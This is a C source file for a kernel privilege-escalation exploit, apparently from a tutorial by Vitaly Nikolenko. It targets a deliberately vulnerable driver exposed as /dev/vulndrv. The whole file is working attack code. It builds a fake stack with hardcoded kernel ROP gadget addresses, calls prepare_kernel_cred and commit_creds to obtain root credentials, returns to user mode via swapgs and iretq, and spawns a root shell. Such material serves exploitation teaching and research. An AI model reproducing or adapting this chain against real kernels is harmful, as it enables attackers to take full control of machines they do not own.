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/**
* ROP exploit for drv.c kernel module
*
* gcc rop_exploit.c -O2 -o rop_exploit
*
* Email: vnik@cyseclabs.com
* Vitaly Nikolenko
*/
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <assert.h>
#include "drv.h"
#define DEVICE_PATH "/dev/vulndrv"
unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" );
}
void shell(void) {
if(!getuid())
system("/bin/sh");
exit(0);
}
void usage(char *bin_name) {
fprintf(stderr, "%s array_offset_decimal array_base_address_hex\n", bin_name);
}
int main(int argc, char *argv[])
{
int fd;
struct drv_req req;
void *mapped, *temp_stack;
unsigned long base_addr, stack_addr, mmap_addr, *fake_stack;
if (argc != 3) {
usage(argv[0]);
return -1;
}
req.offset = strtoul(argv[1], NULL, 10);
base_addr = strtoul(argv[2], NULL, 16);
printf("array base address = 0x%lx\n", base_addr);
stack_addr = (base_addr + (req.offset * 8)) & 0xffffffff;
fprintf(stdout, "stack address = 0x%lx\n", stack_addr);
mmap_addr = stack_addr & 0xffff0000;
assert((mapped = mmap((void*)mmap_addr, 0x20000, 7, 0x32, 0, 0)) == (void*)mmap_addr);
assert((temp_stack = mmap((void*)0x30000000, 0x10000000, 7, 0x32, 0, 0)) == (void*)0x30000000);
save_state();
fake_stack = (unsigned long *)(stack_addr);
*fake_stack ++= 0xffffffff810c9ebdUL; /* pop %rdi; ret */
fake_stack = (unsigned long *)(stack_addr + 0x11e8 + 8);
*fake_stack ++= 0x0UL; /* NULL */
*fake_stack ++= 0xffffffff81095430UL; /* prepare_kernel_cred() */
*fake_stack ++= 0xffffffff810dc796UL; /* pop %rdx; ret */
//*fake_stack ++= 0xffffffff81095190UL; /* commit_creds() */
*fake_stack ++= 0xffffffff81095196UL; // commit_creds() + 2 instructions
*fake_stack ++= 0xffffffff81036b70UL; /* mov %rax, %rdi; call %rdx */
*fake_stack ++= 0xffffffff81052804UL; // swapgs ; pop rbp ; ret
*fake_stack ++= 0xdeadbeefUL; // dummy placeholder
*fake_stack ++= 0xffffffff81053056UL; /* iretq */
*fake_stack ++= (unsigned long)shell; /* spawn a shell */
*fake_stack ++= user_cs; /* saved CS */
*fake_stack ++= user_rflags; /* saved EFLAGS */
*fake_stack ++= (unsigned long)(temp_stack+0x5000000); /* mmaped stack region in user space */
*fake_stack ++= user_ss; /* saved SS */
//map = mmap((void *)..., ..., 3, 0x32, 0, 0);
fd = open(DEVICE_PATH, O_RDONLY);
if (fd == -1) {
perror("open");
}
ioctl(fd, 0, &req);
return 0;
}